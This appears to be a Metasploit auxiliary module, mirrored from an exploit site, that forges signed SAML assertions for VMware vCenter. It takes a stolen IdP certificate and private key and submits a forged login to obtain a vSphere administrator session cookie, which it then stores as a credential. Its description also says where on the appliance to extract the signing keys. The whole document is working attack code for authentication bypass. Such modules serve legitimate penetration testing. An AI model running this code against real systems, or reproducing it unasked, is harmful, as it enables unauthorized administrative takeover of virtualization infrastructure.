Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-VMWARE-VCENTER_FORGE_SAML_TOKEN-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::WmapScanUniqueQuery
include Msf::Exploit::Remote::HttpClient
NS_MAP = {
'c14n' => 'http://www.w3.org/2001/10/xml-exc-c14n#',
'ds' => 'http://www.w3.org/2000/09/xmldsig#',
'saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion',
'saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol',
'md' => 'urn:oasis:names:tc:SAML:2.0:metadata',
'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xs' => 'http://www.w3.org/2001/XMLSchema'
}.freeze
PREFIX_LIST = 'xsd xsi'.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Forge SAML Authentication Credentials',
'Description' => %q{
This module forges valid SAML credentials for vCenter server
using the vCenter SSO IdP certificate, IdP private key, and
VMCA certificates as input objects; you must also provide
the vCenter SSO domain name and vCenter FQDN. The module will
return a session cookie for the /ui path that grants access to
the SSO domain as a vSphere administrator. The IdP trusted
certificate chain can be retrieved using Metasploit post
exploitation modules or extracted manually from
/storage/db/vmware-vmdir/data.mdb using binwalk.
},
'Author' => 'npm[at]cesium137.io',
'Platform' => [ 'linux' ],
'DisclosureDate' => '2022-04-20',
'SessionTypes' => [ 'meterpreter', 'shell' ],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/']
],
'Actions' => [
[
'Run',
{
'Description' => 'Generate vSphere session cookie'
}
]
],
'DefaultAction' => 'Run',
'DefaultOptions' => {
'USERNAME' => 'administrator',
'DOMAIN' => 'vsphere.local',
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Privileged' => true
)
)
register_options([
OptString.new('USERNAME', [ true, 'The username to target using forged credentials', 'administrator' ]),
OptString.new('DOMAIN', [true, 'The target vSphere SSO domain', 'vsphere.local']),
OptString.new('VHOST', [true, 'DNS FQDN of the vCenter server']),
OptPath.new('VC_IDP_CERT', [ true, 'Path to the vCenter IdP certificate' ]),
OptPath.new('VC_IDP_KEY', [ true, 'Path to the vCenter IdP private key' ]),
OptPath.new('VC_VMCA_CERT', [ true, 'Path to the vCenter VMCA certificate' ])
])
register_advanced_options([
OptInt.new('VC_IDP_TOKEN_BEFORE_SKEW', [ true, 'NOT_BEFORE seconds to subtract from current time, values 300 to 2592000', 2592000 ]),
OptInt.new('VC_IDP_TOKEN_AFTER_SKEW', [ true, 'NOT_AFTER seconds to add to current time, values 300 to 2592000', 2592000 ])
])
deregister_options('Proxies')
end
def username
datastore['USERNAME']
end
def domain
datastore['DOMAIN']
end
def vcenter_fqdn
datastore['VHOST']
end
def vc_idp_cert
datastore['VC_IDP_CERT']
end
def vc_idp_key
datastore['VC_IDP_KEY']
end
def vc_vmca_cert
datastore['VC_VMCA_CERT']
end
def vc_token_before_skew
@vc_token_before_skew ||= datastore['VC_IDP_TOKEN_BEFORE_SKEW']
end
def vc_token_after_skew
@vc_token_after_skew ||= datastore['VC_IDP_TOKEN_AFTER_SKEW']
end
def run
cookie_jar.clear
validate_domains
validate_timestamps
validate_idp_options
print_status('HTTP GET => /ui/login ...')
init_vsphere_login
vprint_status('Create forged SAML assertion XML ...')
unless (vsphere_saml_response = get_saml_response_template)
fail_with(Msf::Exploit::Failure::Unknown, 'Unable to generate SAML response XML')
end
vprint_status('Sign forged SAML assertion with IdP key ...')
unless (vsphere_saml_auth = sign_vcenter_saml(vsphere_saml_response))
fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion')
end
print_status('HTTP POST => /ui/saml/websso/sso ...')
unless (session_cookie = submit_vcenter_auth(vsphere_saml_auth))
fail_with(Msf::Exploit::Failure::Unknown, 'Unable to acquire administrator session token')
end
print_good('Got valid administrator session token!')
print_good("\t#{session_cookie}")
end
def validate_idp_options
begin
idp_cert_file = File.binread(vc_idp_cert)
idp_key_file = File.binread(vc_idp_key)
vmca_cert_file = File.binread(vc_vmca_cert)
rescue StandardError => e
print_error("File read failure: #{e.class} - #{e.message}")
fail_with(Msf::Exploit::Failure::BadConfig, 'Error reading certificate files')
end
unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")
end
unless (pub = OpenSSL::X509::Certificate.new(idp_cert_file))
fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP certificate: #{vc_idp_cert.path}")
end
unless (priv = OpenSSL::PKey::RSA.new(idp_key_file))
fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP private key: #{vc_idp_key.path}")
end
unless pub.check_private_key(priv)
fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
end
unless (pub.issuer.to_s == ca.subject.to_s)
print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')
end
unless pub.verify(ca.public_key)
fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP certificate does not chain to VMCA certificate')
end
print_good('Validated vCenter Single Sign-On IdP trusted certificate chain')
@vcenter_saml_idp_cert = pub
@vcenter_saml_idp_key = priv
@vcenter_saml_ca_cert = ca
end
def init_vsphere_login
res = send_request_cgi({
'uri' => '/ui/login',
'method' => 'GET'
})
unless res
fail_with(Msf::Exploit::Failure::Unreachable, 'Could not reach SAML endpoint')
end
unless res.code == 302
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{rhost} - expected HTTP 302, got HTTP #{res.code}")
end
datastore['TARGETURI'] = res['location']
uri = target_uri
query = queryparse(uri.query || '')
unless (vsphere_saml_request_query = CGI.unescape(query['SAMLRequest']))
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'SAMLRequest query parameter was not returned with HTTP GET')
end
if !query['RelayState'].nil?
@vcenter_saml_relay_state = CGI.unescape(query['RelayState'])
vprint_status("Response included RelayState: #{@vcenter_saml_relay_state}")
end
vsphere_saml_request_gz = Base64.strict_decode64(vsphere_saml_request_query)
vsphere_saml_request = Zlib::Inflate.new(-Zlib::MAX_WBITS).inflate(vsphere_saml_request_gz)
req = vsphere_saml_request.to_s
doc = REXML::Document.new(req)
@vcenter_saml_id = doc.root.attributes['ID'].strip
@vcenter_saml_issue = doc.root.attributes['IssueInstant'].strip
@vcenter_saml_user = username.strip
@vcenter_saml_domain = domain.strip
@vcenter_saml_response_id = SecureRandom.hex.strip
@vcenter_saml_assert_id = SecureRandom.uuid.strip
@vcenter_saml_idx_id = SecureRandom.hex.strip
@vcenter_saml_not_before = (Time.now.utc - vc_token_before_skew).iso8601.strip
@vcenter_saml_not_after = (Time.now.utc + vc_token_after_skew).iso8601.strip
end
def get_saml_response_template
template_path = ::File.join(::Msf::Config.data_directory, 'auxiliary', 'vmware', 'vcenter_forge_saml_token', 'assert.xml.erb')
template = ::File.binread(template_path)
b = binding
context = {
vcenter_fqdn: vcenter_fqdn,
vcenter_saml_id: @vcenter_saml_id,
vcenter_saml_issue: @vcenter_saml_issue,
vcenter_saml_user: username,
vcenter_saml_domain: domain,
vcenter_saml_response_id: @vcenter_saml_response_id,
vcenter_saml_assert_id: @vcenter_saml_assert_id,
vcenter_saml_idx_id: @vcenter_saml_idx_id,
vcenter_saml_not_before: @vcenter_saml_not_before,
vcenter_saml_not_after: @vcenter_saml_not_after
}
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
body = b.eval(Erubi::Engine.new(template).src)
body.to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
end
def sign_vcenter_saml(xml)
xmldoc = Nokogiri::XML(xml) do |config|
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
end
ds_element = REXML::Element.new('ds:Signature').add_namespace('ds', NS_MAP['ds'])
ds_sig_element = ds_element.add_element('ds:SignedInfo')
ds_sig_element.add_element('ds:CanonicalizationMethod', { 'Algorithm' => NS_MAP['c14n'] })
ds_sig_element.add_element('ds:SignatureMethod', { 'Algorithm' => 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256' })
ds_ref_element = ds_sig_element.add_element('ds:Reference', { 'URI' => "#_#{@vcenter_saml_assert_id}" })
ds_tx_element = ds_ref_element.add_element('ds:Transforms')
ds_tx_element.add_element('ds:Transform', { 'Algorithm' => 'http://www.w3.org/2000/09/xmldsig#enveloped-signature' })
ds_c14_element = ds_tx_element.add_element('ds:Transform', { 'Algorithm' => NS_MAP['c14n'] })
ds_c14_element.add_element('ec:InclusiveNamespaces', { 'xmlns:ec' => NS_MAP['c14n'], 'PrefixList' => PREFIX_LIST })
ds_ref_element.add_element('ds:DigestMethod', { 'Algorithm' => 'http://www.w3.org/2001/04/xmlenc#sha256' })
inclusive_namespaces = PREFIX_LIST.split(' ')
dest_node = xmldoc.at_xpath('//saml2p:Response/saml2:Assertion', NS_MAP)
canon_doc = dest_node.canonicalize(Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0, inclusive_namespaces)
digest_b64 = Base64.strict_encode64(OpenSSL::Digest::SHA256.digest(canon_doc))
ds_ref_element.add_element('ds:DigestValue').text = digest_b64
noko_sig_element = Nokogiri::XML(ds_element.to_s) do |config|
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
end
noko_signed_info_element = noko_sig_element.at_xpath('//ds:Signature/ds:SignedInfo', NS_MAP)
c14n_string = noko_signed_info_element.canonicalize(Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0)
signature = Base64.strict_encode64(@vcenter_saml_idp_key.sign('rsa-sha256', c14n_string))
ds_element.add_element('ds:SignatureValue').text = signature
key_info_element = ds_element.add_element('ds:KeyInfo')
x509_element = key_info_element.add_element('ds:X509Data')
x509_cert_element = x509_element.add_element('ds:X509Certificate')
x509_cert_element.text = Base64.strict_encode64(@vcenter_saml_idp_cert.to_der)
x509_element = key_info_element.add_element('ds:X509Data')
x509_cert_element = x509_element.add_element('ds:X509Certificate')
x509_cert_element.text = Base64.strict_encode64(@vcenter_saml_ca_cert.to_der)
noko_signed_signature_element = Nokogiri::XML(ds_element.to_s) do |config|
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
end
xmldoc.at_xpath('//saml2:Assertion/saml2:Issuer', NS_MAP).add_next_sibling(noko_signed_signature_element.document.root.to_s)
xmldoc.document.to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
end
def submit_vcenter_auth(xml)
saml_response = Base64.strict_encode64(xml)
if @vcenter_saml_relay_state
res = send_request_cgi({
'uri' => '/ui/saml/websso/sso',
'method' => 'POST',
'vars_post' => {
'SAMLResponse' => saml_response,
'RelayState' => @vcenter_saml_relay_state
},
'keep_cookies' => true
})
else
res = send_request_cgi({
'uri' => '/ui/saml/websso/sso',
'method' => 'POST',
'vars_post' => {
'SAMLResponse' => saml_response
},
'keep_cookies' => true
})
end
unless res
fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost} - could not reach SAML endpoint")
end
unless res.code == 302
if res.body.to_s != ''
res_html = Nokogiri::HTML(res.body.to_s)
res_detail = res_html.at("//div[@class='error-message']").text.gsub('..', '.')
if res_detail
print_error("Response: #{res_detail}")
else
print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
end
end
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Expected HTTP 302, got HTTP #{res.code}")
end
cookie_jar.cookies.each do |c|
print_status("Got cookie: #{c.name}=#{c.value}")
end
@vcenter_saml_token = res.get_cookies_parsed.values.select { |v| v.to_s.include?('JSESSIONID') }.first.first
@vcenter_saml_path = res.get_cookies_parsed.values.select { |v| v.to_s.include?('Path') }.first.first
extra_service_data = {
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: domain
}.merge(service_details)
store_valid_credential(user: "JSESSIONID (#{@vcenter_saml_path})", private: @vcenter_saml_token, service_data: extra_service_data)
"JSESSIONID=#{@vcenter_saml_token}; Path=#{@vcenter_saml_path}"
end
def validate_domains
unless validate_fqdn(vcenter_fqdn)
fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter FQDN provided: #{vcenter_fqdn}")
end
unless validate_fqdn(domain)
fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter SSO domain provided: #{domain}")
end
end
def validate_timestamps
unless (vc_token_before_skew >= 300) && (vc_token_after_skew >= 300)
fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds')
end
unless (vc_token_before_skew <= 2592000) && (vc_token_after_skew <= 2592000)
fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds')
end
end
def validate_fqdn(fqdn)
fqdn_regex = /(?=^.{4,253}$)(^((?!-)[a-z0-9-]{0,62}[a-z0-9]\.)+[a-z]{2,63}$)/
return true if fqdn_regex.match?(fqdn.to_s.downcase)
false
end
end